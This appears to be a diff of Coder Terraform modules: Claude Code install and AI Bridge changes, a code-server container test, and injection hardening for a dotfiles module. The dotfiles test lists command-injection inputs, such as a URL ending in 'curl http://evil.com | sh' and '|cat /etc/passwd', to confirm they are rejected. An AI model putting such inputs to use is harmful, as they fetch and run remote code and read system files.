ARG_CLAUDE_CODE_VERSION='${var.claude_code_version}' \ ARG_CLAUDE_CODE_VERSION='${var.claude_code_version}' \
ARG_MCP_APP_STATUS_SLUG='${local.app_slug}' \ ARG_MCP_APP_STATUS_SLUG='${local.app_slug}' \
ARG_INSTALL_CLAUDE_CODE='${var.install_claude_code}' \ ARG_INSTALL_CLAUDE_CODE='${var.install_claude_code}' \
ARG_CLAUDE_BINARY_PATH='${var.claude_binary_path}' \
ARG_INSTALL_VIA_NPM='${var.install_via_npm}' \
ARG_REPORT_TASKS='${var.report_tasks}' \ ARG_REPORT_TASKS='${var.report_tasks}' \
ARG_WORKDIR='${local.workdir}' \ ARG_WORKDIR='${local.workdir}' \
ARG_ALLOWED_TOOLS='${var.allowed_tools}' \ ARG_ALLOWED_TOOLS='${var.allowed_tools}' \
ARG_DISALLOWED_TOOLS='${var.disallowed_tools}' \ ARG_DISALLOWED_TOOLS='${var.disallowed_tools}' \
ARG_MCP='${var.mcp != null ? base64encode(replace(var.mcp, "'", "'\\''")) : ""}' \ ARG_MCP='${var.mcp != null ? base64encode(replace(var.mcp, "'", "'\\''")) : ""}' \
ARG_MCP_CONFIG_REMOTE_PATH='${base64encode(jsonencode(var.mcp_config_remote_path))}' \
ARG_ENABLE_AIBRIDGE='${var.enable_aibridge}' \
/tmp/install.sh /tmp/install.sh
EOT EOT
} }

View File

@ -288,3 +288,116 @@ run "test_claude_report_tasks_disabled" {
error_message = "System prompt should end with </system>" error_message = "System prompt should end with </system>"
} }
} }
run "test_aibridge_enabled" {
command = plan
variables {
agent_id = "test-agent-aibridge"
workdir = "/home/coder/aibridge"
enable_aibridge = true
}
override_data {
target = data.coder_workspace_owner.me
values = {
session_token = "mock-session-token"
}
}
assert {
condition = var.enable_aibridge == true
error_message = "AI Bridge should be enabled"
}
assert {
condition = coder_env.anthropic_base_url[0].name == "ANTHROPIC_BASE_URL"
error_message = "ANTHROPIC_BASE_URL environment variable should be set"
}
assert {
condition = length(regexall("/api/v2/aibridge/anthropic", coder_env.anthropic_base_url[0].value)) > 0
error_message = "ANTHROPIC_BASE_URL should point to AI Bridge endpoint"
}
assert {
condition = coder_env.claude_api_key[0].name == "CLAUDE_API_KEY"
error_message = "CLAUDE_API_KEY environment variable should be set"
}
assert {
condition = coder_env.claude_api_key[0].value == data.coder_workspace_owner.me.session_token
error_message = "CLAUDE_API_KEY should use workspace owner's session token when aibridge is enabled"
}
}
run "test_aibridge_validation_with_api_key" {
command = plan
variables {
agent_id = "test-agent-validation"
workdir = "/home/coder/test"
enable_aibridge = true
claude_api_key = "test-api-key"
}
expect_failures = [
var.enable_aibridge,
]
}
run "test_aibridge_validation_with_oauth_token" {
command = plan
variables {
agent_id = "test-agent-validation"
workdir = "/home/coder/test"
enable_aibridge = true
claude_code_oauth_token = "test-oauth-token"
}
expect_failures = [
var.enable_aibridge,
]
}
run "test_aibridge_disabled_with_api_key" {
command = plan
variables {
agent_id = "test-agent-no-aibridge"
workdir = "/home/coder/test"
enable_aibridge = false
claude_api_key = "test-api-key-xyz"
}
assert {
condition = var.enable_aibridge == false
error_message = "AI Bridge should be disabled"
}
assert {
condition = coder_env.claude_api_key[0].value == "test-api-key-xyz"
error_message = "CLAUDE_API_KEY should use the provided API key when aibridge is disabled"
}
assert {
condition = length(coder_env.anthropic_base_url) == 0
error_message = "ANTHROPIC_BASE_URL should not be set when aibridge is disabled"
}
}
run "test_no_api_key_no_env" {
command = plan
variables {
agent_id = "test-agent-no-key"
workdir = "/home/coder/test"
enable_aibridge = false
}
assert {
condition = length(coder_env.claude_api_key) == 0
error_message = "CLAUDE_API_KEY should not be created when no API key is provided and aibridge is disabled"
}
}

View File

@ -11,39 +11,123 @@ command_exists() {
ARG_CLAUDE_CODE_VERSION=${ARG_CLAUDE_CODE_VERSION:-} ARG_CLAUDE_CODE_VERSION=${ARG_CLAUDE_CODE_VERSION:-}
ARG_WORKDIR=${ARG_WORKDIR:-"$HOME"} ARG_WORKDIR=${ARG_WORKDIR:-"$HOME"}
ARG_INSTALL_CLAUDE_CODE=${ARG_INSTALL_CLAUDE_CODE:-} ARG_INSTALL_CLAUDE_CODE=${ARG_INSTALL_CLAUDE_CODE:-}
ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"}
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}"
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}"
ARG_INSTALL_VIA_NPM=${ARG_INSTALL_VIA_NPM:-false}
ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true} ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true}
ARG_MCP_APP_STATUS_SLUG=${ARG_MCP_APP_STATUS_SLUG:-} ARG_MCP_APP_STATUS_SLUG=${ARG_MCP_APP_STATUS_SLUG:-}
ARG_MCP=$(echo -n "${ARG_MCP:-}" | base64 -d) ARG_MCP=$(echo -n "${ARG_MCP:-}" | base64 -d)
ARG_MCP_CONFIG_REMOTE_PATH=$(echo -n "${ARG_MCP_CONFIG_REMOTE_PATH:-}" | base64 -d)
ARG_ALLOWED_TOOLS=${ARG_ALLOWED_TOOLS:-} ARG_ALLOWED_TOOLS=${ARG_ALLOWED_TOOLS:-}
ARG_DISALLOWED_TOOLS=${ARG_DISALLOWED_TOOLS:-} ARG_DISALLOWED_TOOLS=${ARG_DISALLOWED_TOOLS:-}
ARG_ENABLE_AIBRIDGE=${ARG_ENABLE_AIBRIDGE:-false}
export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH"
echo "--------------------------------" echo "--------------------------------"
printf "ARG_CLAUDE_CODE_VERSION: %s\n" "$ARG_CLAUDE_CODE_VERSION" printf "ARG_CLAUDE_CODE_VERSION: %s\n" "$ARG_CLAUDE_CODE_VERSION"
printf "ARG_WORKDIR: %s\n" "$ARG_WORKDIR" printf "ARG_WORKDIR: %s\n" "$ARG_WORKDIR"
printf "ARG_INSTALL_CLAUDE_CODE: %s\n" "$ARG_INSTALL_CLAUDE_CODE" printf "ARG_INSTALL_CLAUDE_CODE: %s\n" "$ARG_INSTALL_CLAUDE_CODE"
printf "ARG_CLAUDE_BINARY_PATH: %s\n" "$ARG_CLAUDE_BINARY_PATH"
printf "ARG_INSTALL_VIA_NPM: %s\n" "$ARG_INSTALL_VIA_NPM"
printf "ARG_REPORT_TASKS: %s\n" "$ARG_REPORT_TASKS" printf "ARG_REPORT_TASKS: %s\n" "$ARG_REPORT_TASKS"
printf "ARG_MCP_APP_STATUS_SLUG: %s\n" "$ARG_MCP_APP_STATUS_SLUG" printf "ARG_MCP_APP_STATUS_SLUG: %s\n" "$ARG_MCP_APP_STATUS_SLUG"
printf "ARG_MCP: %s\n" "$ARG_MCP" printf "ARG_MCP: %s\n" "$ARG_MCP"
printf "ARG_MCP_CONFIG_REMOTE_PATH: %s\n" "$ARG_MCP_CONFIG_REMOTE_PATH"
printf "ARG_ALLOWED_TOOLS: %s\n" "$ARG_ALLOWED_TOOLS" printf "ARG_ALLOWED_TOOLS: %s\n" "$ARG_ALLOWED_TOOLS"
printf "ARG_DISALLOWED_TOOLS: %s\n" "$ARG_DISALLOWED_TOOLS" printf "ARG_DISALLOWED_TOOLS: %s\n" "$ARG_DISALLOWED_TOOLS"
printf "ARG_ENABLE_AIBRIDGE: %s\n" "$ARG_ENABLE_AIBRIDGE"
echo "--------------------------------" echo "--------------------------------"
function add_mcp_servers() {
local mcp_json="$1"
local source_desc="$2"
while IFS= read -r server_name && IFS= read -r server_json; do
echo "------------------------"
echo "Executing: claude mcp add-json \"$server_name\" '$server_json' ($source_desc)"
claude mcp add-json "$server_name" "$server_json" || echo "Warning: Failed to add MCP server '$server_name', continuing..."
echo "------------------------"
echo ""
done < <(echo "$mcp_json" | jq -r '.mcpServers | to_entries[] | .key, (.value | @json)')
}
function add_path_to_shell_profiles() {
local path_dir="$1"
for profile in "$HOME/.profile" "$HOME/.bash_profile" "$HOME/.bashrc" "$HOME/.zprofile" "$HOME/.zshrc"; do
if [ -f "$profile" ]; then
if ! grep -q "$path_dir" "$profile" 2> /dev/null; then
echo "export PATH=\"\$PATH:$path_dir\"" >> "$profile"
echo "Added $path_dir to $profile"
fi
fi
done
local fish_config="$HOME/.config/fish/config.fish"
if [ -f "$fish_config" ]; then
if ! grep -q "$path_dir" "$fish_config" 2> /dev/null; then
echo "fish_add_path $path_dir" >> "$fish_config"
echo "Added $path_dir to $fish_config"
fi
fi
}
function ensure_claude_in_path() {
local CLAUDE_BIN=""
if command -v claude > /dev/null 2>&1; then
CLAUDE_BIN=$(command -v claude)
elif [ -x "$ARG_CLAUDE_BINARY_PATH/claude" ]; then
CLAUDE_BIN="$ARG_CLAUDE_BINARY_PATH/claude"
elif [ -x "$HOME/.local/bin/claude" ]; then
CLAUDE_BIN="$HOME/.local/bin/claude"
fi
if [ -z "$CLAUDE_BIN" ] || [ ! -x "$CLAUDE_BIN" ]; then
echo "Warning: Could not find claude binary"
return
fi
local CLAUDE_DIR
CLAUDE_DIR=$(dirname "$CLAUDE_BIN")
if [ -n "${CODER_SCRIPT_BIN_DIR:-}" ] && [ ! -e "$CODER_SCRIPT_BIN_DIR/claude" ]; then
ln -s "$CLAUDE_BIN" "$CODER_SCRIPT_BIN_DIR/claude"
echo "Created symlink: $CODER_SCRIPT_BIN_DIR/claude -> $CLAUDE_BIN"
fi
add_path_to_shell_profiles "$CLAUDE_DIR"
}
function install_claude_code_cli() { function install_claude_code_cli() {
if [ "$ARG_INSTALL_CLAUDE_CODE" = "true" ]; then if [ "$ARG_INSTALL_CLAUDE_CODE" != "true" ]; then
echo "Skipping Claude Code installation as per configuration."
ensure_claude_in_path
return
fi
# Use npm when install_via_npm is true
if [ "$ARG_INSTALL_VIA_NPM" = "true" ]; then
echo "WARNING: npm installation method will be deprecated and removed in the next major release."
echo "Installing Claude Code via npm (version: $ARG_CLAUDE_CODE_VERSION)"
npm install -g "@anthropic-ai/claude-code@$ARG_CLAUDE_CODE_VERSION"
echo "Installed Claude Code via npm. Version: $(claude --version || echo 'unknown')"
else
echo "Installing Claude Code via official installer" echo "Installing Claude Code via official installer"
set +e set +e
curl -fsSL claude.ai/install.sh | bash -s -- "$ARG_CLAUDE_CODE_VERSION" 2>&1 curl -fsSL claude.ai/install.sh | bash -s -- "$ARG_CLAUDE_CODE_VERSION" 2>&1
CURL_EXIT=${PIPESTATUS[0]} CURL_EXIT=${PIPESTATUS[0]}
set -e set -e
if [ $CURL_EXIT -ne 0 ]; then if [ $CURL_EXIT -ne 0 ]; then
echo "Claude Code installer failed with exit code $$CURL_EXIT" echo "Claude Code installer failed with exit code $CURL_EXIT"
fi fi
echo "Installed Claude Code successfully. Version: $(claude --version || echo 'unknown')" echo "Installed Claude Code successfully. Version: $(claude --version || echo 'unknown')"
else
echo "Skipping Claude Code installation as per configuration."
fi fi
ensure_claude_in_path
} }
function setup_claude_configurations() { function setup_claude_configurations() {
@ -60,13 +144,25 @@ function setup_claude_configurations() {
if [ "$ARG_MCP" != "" ]; then if [ "$ARG_MCP" != "" ]; then
( (
cd "$ARG_WORKDIR" cd "$ARG_WORKDIR"
while IFS= read -r server_name && IFS= read -r server_json; do add_mcp_servers "$ARG_MCP" "in $ARG_WORKDIR"
echo "------------------------" )
echo "Executing: claude mcp add-json \"$server_name\" '$server_json' (in $ARG_WORKDIR)" fi
claude mcp add-json "$server_name" "$server_json"
echo "------------------------" if [ -n "$ARG_MCP_CONFIG_REMOTE_PATH" ] && [ "$ARG_MCP_CONFIG_REMOTE_PATH" != "[]" ]; then
echo "" (
done < <(echo "$ARG_MCP" | jq -r '.mcpServers | to_entries[] | .key, (.value | @json)') cd "$ARG_WORKDIR"
for url in $(echo "$ARG_MCP_CONFIG_REMOTE_PATH" | jq -r '.[]'); do
echo "Fetching MCP configuration from: $url"
mcp_json=$(curl -fsSL "$url") || {
echo "Warning: Failed to fetch MCP configuration from '$url', continuing..."
continue
}
if ! echo "$mcp_json" | jq -e '.mcpServers' > /dev/null 2>&1; then
echo "Warning: Invalid MCP configuration from '$url' (missing mcpServers), continuing..."
continue
fi
add_mcp_servers "$mcp_json" "from $url"
done
) )
fi fi
@ -83,8 +179,8 @@ function setup_claude_configurations() {
function configure_standalone_mode() { function configure_standalone_mode() {
echo "Configuring Claude Code for standalone mode..." echo "Configuring Claude Code for standalone mode..."
if [ -z "${CLAUDE_API_KEY:-}" ]; then if [ -z "${CLAUDE_API_KEY:-}" ] && [ "$ARG_ENABLE_AIBRIDGE" = "false" ]; then
echo "Note: CLAUDE_API_KEY not set, skipping authentication setup" echo "Note: Neither claude_api_key nor enable_aibridge is set, skipping authentication setup"
return return
fi fi
@ -97,8 +193,7 @@ function configure_standalone_mode() {
if [ -f "$claude_config" ]; then if [ -f "$claude_config" ]; then
echo "Updating existing Claude configuration at $claude_config" echo "Updating existing Claude configuration at $claude_config"
jq --arg apikey "${CLAUDE_API_KEY:-}" \ jq --arg workdir "$ARG_WORKDIR" --arg apikey "${CLAUDE_API_KEY:-}" \
--arg workdir "$ARG_WORKDIR" \
'.autoUpdaterStatus = "disabled" | '.autoUpdaterStatus = "disabled" |
.bypassPermissionsModeAccepted = true | .bypassPermissionsModeAccepted = true |
.hasAcknowledgedCostThreshold = true | .hasAcknowledgedCostThreshold = true |

View File

@ -2,11 +2,16 @@
set -euo pipefail set -euo pipefail
ARG_CLAUDE_BINARY_PATH=${ARG_CLAUDE_BINARY_PATH:-"$HOME/.local/bin"}
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH/#\~/$HOME}"
ARG_CLAUDE_BINARY_PATH="${ARG_CLAUDE_BINARY_PATH//\$HOME/$HOME}"
export PATH="$ARG_CLAUDE_BINARY_PATH:$PATH"
command_exists() { command_exists() {
command -v "$1" > /dev/null 2>&1 command -v "$1" > /dev/null 2>&1
} }
ARG_MODEL=${ARG_MODEL:-}
ARG_RESUME_SESSION_ID=${ARG_RESUME_SESSION_ID:-} ARG_RESUME_SESSION_ID=${ARG_RESUME_SESSION_ID:-}
ARG_CONTINUE=${ARG_CONTINUE:-false} ARG_CONTINUE=${ARG_CONTINUE:-false}
ARG_DANGEROUSLY_SKIP_PERMISSIONS=${ARG_DANGEROUSLY_SKIP_PERMISSIONS:-} ARG_DANGEROUSLY_SKIP_PERMISSIONS=${ARG_DANGEROUSLY_SKIP_PERMISSIONS:-}
@ -15,13 +20,13 @@ ARG_WORKDIR=${ARG_WORKDIR:-"$HOME"}
ARG_AI_PROMPT=$(echo -n "${ARG_AI_PROMPT:-}" | base64 -d) ARG_AI_PROMPT=$(echo -n "${ARG_AI_PROMPT:-}" | base64 -d)
ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true} ARG_REPORT_TASKS=${ARG_REPORT_TASKS:-true}
ARG_ENABLE_BOUNDARY=${ARG_ENABLE_BOUNDARY:-false} ARG_ENABLE_BOUNDARY=${ARG_ENABLE_BOUNDARY:-false}
ARG_BOUNDARY_VERSION=${ARG_BOUNDARY_VERSION:-"main"} ARG_BOUNDARY_VERSION=${ARG_BOUNDARY_VERSION:-"latest"}
ARG_COMPILE_FROM_SOURCE=${ARG_COMPILE_FROM_SOURCE:-false} ARG_COMPILE_FROM_SOURCE=${ARG_COMPILE_FROM_SOURCE:-false}
ARG_USE_BOUNDARY_DIRECTLY=${ARG_USE_BOUNDARY_DIRECTLY:-false}
ARG_CODER_HOST=${ARG_CODER_HOST:-} ARG_CODER_HOST=${ARG_CODER_HOST:-}
echo "--------------------------------" echo "--------------------------------"
printf "ARG_MODEL: %s\n" "$ARG_MODEL"
printf "ARG_RESUME: %s\n" "$ARG_RESUME_SESSION_ID" printf "ARG_RESUME: %s\n" "$ARG_RESUME_SESSION_ID"
printf "ARG_CONTINUE: %s\n" "$ARG_CONTINUE" printf "ARG_CONTINUE: %s\n" "$ARG_CONTINUE"
printf "ARG_DANGEROUSLY_SKIP_PERMISSIONS: %s\n" "$ARG_DANGEROUSLY_SKIP_PERMISSIONS" printf "ARG_DANGEROUSLY_SKIP_PERMISSIONS: %s\n" "$ARG_DANGEROUSLY_SKIP_PERMISSIONS"
@ -32,12 +37,13 @@ printf "ARG_REPORT_TASKS: %s\n" "$ARG_REPORT_TASKS"
printf "ARG_ENABLE_BOUNDARY: %s\n" "$ARG_ENABLE_BOUNDARY" printf "ARG_ENABLE_BOUNDARY: %s\n" "$ARG_ENABLE_BOUNDARY"
printf "ARG_BOUNDARY_VERSION: %s\n" "$ARG_BOUNDARY_VERSION" printf "ARG_BOUNDARY_VERSION: %s\n" "$ARG_BOUNDARY_VERSION"
printf "ARG_COMPILE_FROM_SOURCE: %s\n" "$ARG_COMPILE_FROM_SOURCE" printf "ARG_COMPILE_FROM_SOURCE: %s\n" "$ARG_COMPILE_FROM_SOURCE"
printf "ARG_USE_BOUNDARY_DIRECTLY: %s\n" "$ARG_USE_BOUNDARY_DIRECTLY"
printf "ARG_CODER_HOST: %s\n" "$ARG_CODER_HOST" printf "ARG_CODER_HOST: %s\n" "$ARG_CODER_HOST"
echo "--------------------------------" echo "--------------------------------"
function install_boundary() { function install_boundary() {
if [ "${ARG_COMPILE_FROM_SOURCE:-false}" = "true" ]; then if [ "$ARG_COMPILE_FROM_SOURCE" = "true" ]; then
# Install boundary by compiling from source # Install boundary by compiling from source
echo "Compiling boundary from source (version: $ARG_BOUNDARY_VERSION)" echo "Compiling boundary from source (version: $ARG_BOUNDARY_VERSION)"
@ -54,14 +60,16 @@ function install_boundary() {
# Build the binary # Build the binary
make build make build
# Install binary and wrapper script (optional) # Install binary
sudo cp boundary /usr/local/bin/ sudo cp boundary /usr/local/bin/
sudo cp scripts/boundary-wrapper.sh /usr/local/bin/boundary-run sudo chmod +x /usr/local/bin/boundary
sudo chmod +x /usr/local/bin/boundary-run elif [ "$ARG_USE_BOUNDARY_DIRECTLY" = "true" ]; then
else
# Install boundary using official install script # Install boundary using official install script
echo "Installing boundary using official install script (version: $ARG_BOUNDARY_VERSION)" echo "Installing boundary using official install script (version: $ARG_BOUNDARY_VERSION)"
curl -fsSL https://raw.githubusercontent.com/coder/boundary/main/install.sh | bash -s -- --version "$ARG_BOUNDARY_VERSION" curl -fsSL https://raw.githubusercontent.com/coder/boundary/main/install.sh | bash -s -- --version "$ARG_BOUNDARY_VERSION"
else
# Use coder boundary subcommand (default) - no installation needed
echo "Using coder boundary subcommand (provided by Coder)"
fi fi
} }
@ -170,10 +178,6 @@ function start_agentapi() {
mkdir -p "$ARG_WORKDIR" mkdir -p "$ARG_WORKDIR"
cd "$ARG_WORKDIR" cd "$ARG_WORKDIR"
if [ -n "$ARG_MODEL" ]; then
ARGS+=(--model "$ARG_MODEL")
fi
if [ -n "$ARG_PERMISSION_MODE" ]; then if [ -n "$ARG_PERMISSION_MODE" ]; then
ARGS+=(--permission-mode "$ARG_PERMISSION_MODE") ARGS+=(--permission-mode "$ARG_PERMISSION_MODE")
fi fi
@ -218,16 +222,30 @@ function start_agentapi() {
printf "Running claude code with args: %s\n" "$(printf '%q ' "${ARGS[@]}")" printf "Running claude code with args: %s\n" "$(printf '%q ' "${ARGS[@]}")"
if [ "${ARG_ENABLE_BOUNDARY:-false}" = "true" ]; then if [ "$ARG_ENABLE_BOUNDARY" = "true" ]; then
install_boundary install_boundary
printf "Starting with coder boundary enabled\n" printf "Starting with coder boundary enabled\n"
# Add default allowed URLs BOUNDARY_ARGS+=()
BOUNDARY_ARGS+=(--allow "domain=anthropic.com" --allow "domain=registry.npmjs.org" --allow "domain=sentry.io" --allow "domain=claude.ai" --allow "domain=$ARG_CODER_HOST")
# Determine which boundary command to use
if [ "$ARG_COMPILE_FROM_SOURCE" = "true" ] || [ "$ARG_USE_BOUNDARY_DIRECTLY" = "true" ]; then
# Use boundary binary directly (from compilation or release installation)
BOUNDARY_CMD=("boundary")
else
# Use coder boundary subcommand (default)
# Copy coder binary to coder-no-caps. Copying strips CAP_NET_ADMIN capabilities
# from the binary, which is necessary because boundary doesn't work with
# privileged binaries (you can't launch privileged binaries inside network
# namespaces unless you have sys_admin).
CODER_NO_CAPS="$(dirname "$(which coder)")/coder-no-caps"
cp "$(which coder)" "$CODER_NO_CAPS"
BOUNDARY_CMD=("$CODER_NO_CAPS" "boundary")
fi
agentapi server --type claude --term-width 67 --term-height 1190 -- \ agentapi server --type claude --term-width 67 --term-height 1190 -- \
boundary-run "${BOUNDARY_ARGS[@]}" -- \ "${BOUNDARY_CMD[@]}" "${BOUNDARY_ARGS[@]}" -- \
claude "${ARGS[@]}" claude "${ARGS[@]}"
else else
agentapi server --type claude --term-width 67 --term-height 1190 -- claude "${ARGS[@]}" agentapi server --type claude --term-width 67 --term-height 1190 -- claude "${ARGS[@]}"

View File

@ -1,5 +1,9 @@
import { describe, expect, it } from "bun:test"; import { describe, expect, it } from "bun:test";
import { import {
execContainer,
findResourceInstance,
removeContainer,
runContainer,
runTerraformApply, runTerraformApply,
runTerraformInit, runTerraformInit,
testRequiredVariables, testRequiredVariables,
@ -34,5 +38,47 @@ describe("code-server", async () => {
expect(t).toThrow("Offline mode does not allow extensions to be installed"); expect(t).toThrow("Offline mode does not allow extensions to be installed");
}); });
// More tests depend on shebang refactors it("installs and runs code-server", async () => {
const state = await runTerraformApply(import.meta.dir, {
agent_id: "foo",
});
const id = await runContainer("ubuntu:latest");
try {
await execContainer(id, [
"bash",
"-c",
"apt-get update && apt-get install -y curl",
]);
const script = findResourceInstance(state, "coder_script").script;
const result = await execContainer(id, ["bash", "-c", script]);
if (result.exitCode !== 0) {
console.log(result.stdout);
console.log(result.stderr);
}
expect(result.exitCode).toBe(0);
const version = await execContainer(id, [
"/tmp/code-server/bin/code-server",
"--version",
]);
expect(version.exitCode).toBe(0);
expect(version.stdout).toMatch(/\d+\.\d+\.\d+/);
const health = await execContainer(id, [
"curl",
"--retry",
"10",
"--retry-delay",
"1",
"--retry-all-errors",
"-sf",
"http://localhost:13337/healthz",
]);
expect(health.exitCode).toBe(0);
} finally {
await removeContainer(id);
}
}, 60000);
}); });

View File

@ -18,7 +18,7 @@ Under the hood, this module uses the [coder dotfiles](https://coder.com/docs/v2/
module "dotfiles" { module "dotfiles" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/dotfiles/coder" source = "registry.coder.com/coder/dotfiles/coder"
version = "1.2.3" version = "1.2.4"
agent_id = coder_agent.example.id agent_id = coder_agent.example.id
} }
``` ```
@ -31,7 +31,7 @@ module "dotfiles" {
module "dotfiles" { module "dotfiles" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/dotfiles/coder" source = "registry.coder.com/coder/dotfiles/coder"
version = "1.2.3" version = "1.2.4"
agent_id = coder_agent.example.id agent_id = coder_agent.example.id
} }
``` ```
@ -42,7 +42,7 @@ module "dotfiles" {
module "dotfiles" { module "dotfiles" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/dotfiles/coder" source = "registry.coder.com/coder/dotfiles/coder"
version = "1.2.3" version = "1.2.4"
agent_id = coder_agent.example.id agent_id = coder_agent.example.id
user = "root" user = "root"
} }
@ -54,14 +54,14 @@ module "dotfiles" {
module "dotfiles" { module "dotfiles" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/dotfiles/coder" source = "registry.coder.com/coder/dotfiles/coder"
version = "1.2.3" version = "1.2.4"
agent_id = coder_agent.example.id agent_id = coder_agent.example.id
} }
module "dotfiles-root" { module "dotfiles-root" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/dotfiles/coder" source = "registry.coder.com/coder/dotfiles/coder"
version = "1.2.3" version = "1.2.4"
agent_id = coder_agent.example.id agent_id = coder_agent.example.id
user = "root" user = "root"
dotfiles_uri = module.dotfiles.dotfiles_uri dotfiles_uri = module.dotfiles.dotfiles_uri
@ -76,7 +76,7 @@ You can set a default dotfiles repository for all users by setting the `default_
module "dotfiles" { module "dotfiles" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/dotfiles/coder" source = "registry.coder.com/coder/dotfiles/coder"
version = "1.2.3" version = "1.2.4"
agent_id = coder_agent.example.id agent_id = coder_agent.example.id
default_dotfiles_uri = "https://github.com/coder/dotfiles" default_dotfiles_uri = "https://github.com/coder/dotfiles"
} }

View File

@ -12,20 +12,47 @@ describe("dotfiles", async () => {
agent_id: "foo", agent_id: "foo",
}); });
it("default output", async () => { it("default output is empty string", async () => {
const state = await runTerraformApply(import.meta.dir, { const state = await runTerraformApply(import.meta.dir, {
agent_id: "foo", agent_id: "foo",
}); });
expect(state.outputs.dotfiles_uri.value).toBe(""); expect(state.outputs.dotfiles_uri.value).toBe("");
}); });
it("set a default dotfiles_uri", async () => { it("accepts valid git URL formats", async () => {
const default_dotfiles_uri = "foo"; const validUrls = [
const state = await runTerraformApply(import.meta.dir, { "https://github.com/coder/dotfiles",
agent_id: "foo", "https://github.com/coder/dotfiles.git",
default_dotfiles_uri, "git@github.com:coder/dotfiles.git",
}); "git://github.com/coder/dotfiles.git",
expect(state.outputs.dotfiles_uri.value).toBe(default_dotfiles_uri); "ssh://git@github.com/coder/dotfiles.git",
];
for (const url of validUrls) {
const state = await runTerraformApply(import.meta.dir, {
agent_id: "foo",
dotfiles_uri: url,
});
expect(state.outputs.dotfiles_uri.value).toBe(url);
}
});
it("rejects invalid or malicious URLs", async () => {
const invalidUrls = [
"https://github.com/user/repo; curl http://evil.com | sh",
"https://github.com/$(whoami)/repo",
"https://github.com/`id`/repo",
"https://github.com/user/repo|cat /etc/passwd",
"file:///etc/passwd",
"not-a-valid-url",
];
for (const url of invalidUrls) {
await expect(
runTerraformApply(import.meta.dir, {
agent_id: "foo",
dotfiles_uri: url,
}),
).rejects.toThrow();
}
}); });
it("set custom order for coder_parameter", async () => { it("set custom order for coder_parameter", async () => {

View File

@ -36,19 +36,40 @@ variable "default_dotfiles_uri" {
type = string type = string
description = "The default dotfiles URI if the workspace user does not provide one" description = "The default dotfiles URI if the workspace user does not provide one"
default = "" default = ""
validation {
condition = (
var.default_dotfiles_uri == "" ||
can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.default_dotfiles_uri))
)
error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
}
} }
variable "dotfiles_uri" { variable "dotfiles_uri" {
type = string type = string
description = "The URL to a dotfiles repository. (optional, when set, the user isn't prompted for their dotfiles)" description = "The URL to a dotfiles repository. (optional, when set, the user isn't prompted for their dotfiles)"
default = null
default = null validation {
condition = (
var.dotfiles_uri == null ||
var.dotfiles_uri == "" ||
can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$", var.dotfiles_uri))
)
error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
}
} }
variable "user" { variable "user" {
type = string type = string
description = "The name of the user to apply the dotfiles to. (optional, applies to the current user by default)" description = "The name of the user to apply the dotfiles to. (optional, applies to the current user by default)"
default = null default = null
validation {
condition = var.user == null || can(regex("^[a-zA-Z_][a-zA-Z0-9_-]*$", var.user))
error_message = "Must be a valid username without special characters."
}
} }
variable "coder_parameter_order" { variable "coder_parameter_order" {
@ -73,6 +94,11 @@ data "coder_parameter" "dotfiles_uri" {
description = var.description description = var.description
mutable = true mutable = true
icon = "/icon/dotfiles.svg" icon = "/icon/dotfiles.svg"
validation {
regex = "^$|^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@-]+$"
error = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
}
} }
locals { locals {

View File

@ -5,6 +5,19 @@ set -euo pipefail
DOTFILES_URI="${DOTFILES_URI}" DOTFILES_URI="${DOTFILES_URI}"
DOTFILES_USER="${DOTFILES_USER}" DOTFILES_USER="${DOTFILES_USER}"
# Validate DOTFILES_URI to prevent command injection (defense in depth)
if [ -n "$DOTFILES_URI" ]; then
# shellcheck disable=SC2250
if [[ "$DOTFILES_URI" =~ [^a-zA-Z0-9._/:@-] ]]; then
echo "ERROR: DOTFILES_URI contains invalid characters" >&2
exit 1
fi
if ! [[ "$DOTFILES_URI" =~ ^(https?://|ssh://|git@|git://) ]]; then
echo "ERROR: DOTFILES_URI must be a valid repository URL (https://, http://, ssh://, git@, or git://)" >&2
exit 1
fi
fi
# shellcheck disable=SC2157 # shellcheck disable=SC2157
if [ -n "$${DOTFILES_URI// }" ]; then if [ -n "$${DOTFILES_URI// }" ]; then
if [ -z "$DOTFILES_USER" ]; then if [ -z "$DOTFILES_USER" ]; then
@ -16,12 +29,17 @@ if [ -n "$${DOTFILES_URI// }" ]; then
if [ "$DOTFILES_USER" = "$USER" ]; then if [ "$DOTFILES_USER" = "$USER" ]; then
coder dotfiles "$DOTFILES_URI" -y 2>&1 | tee ~/.dotfiles.log coder dotfiles "$DOTFILES_URI" -y 2>&1 | tee ~/.dotfiles.log
else else
# The `eval echo ~"$DOTFILES_USER"` part is used to dynamically get the home directory of the user, see https://superuser.com/a/484280 if command -v getent > /dev/null 2>&1; then
# eval echo ~coder -> "/home/coder" DOTFILES_USER_HOME=$(getent passwd "$DOTFILES_USER" | cut -d: -f6)
# eval echo ~root -> "/root" else
DOTFILES_USER_HOME=$(awk -F: -v user="$DOTFILES_USER" '$1 == user {print $6}' /etc/passwd)
fi
if [ -z "$DOTFILES_USER_HOME" ]; then
echo "ERROR: Could not determine home directory for user $DOTFILES_USER" >&2
exit 1
fi
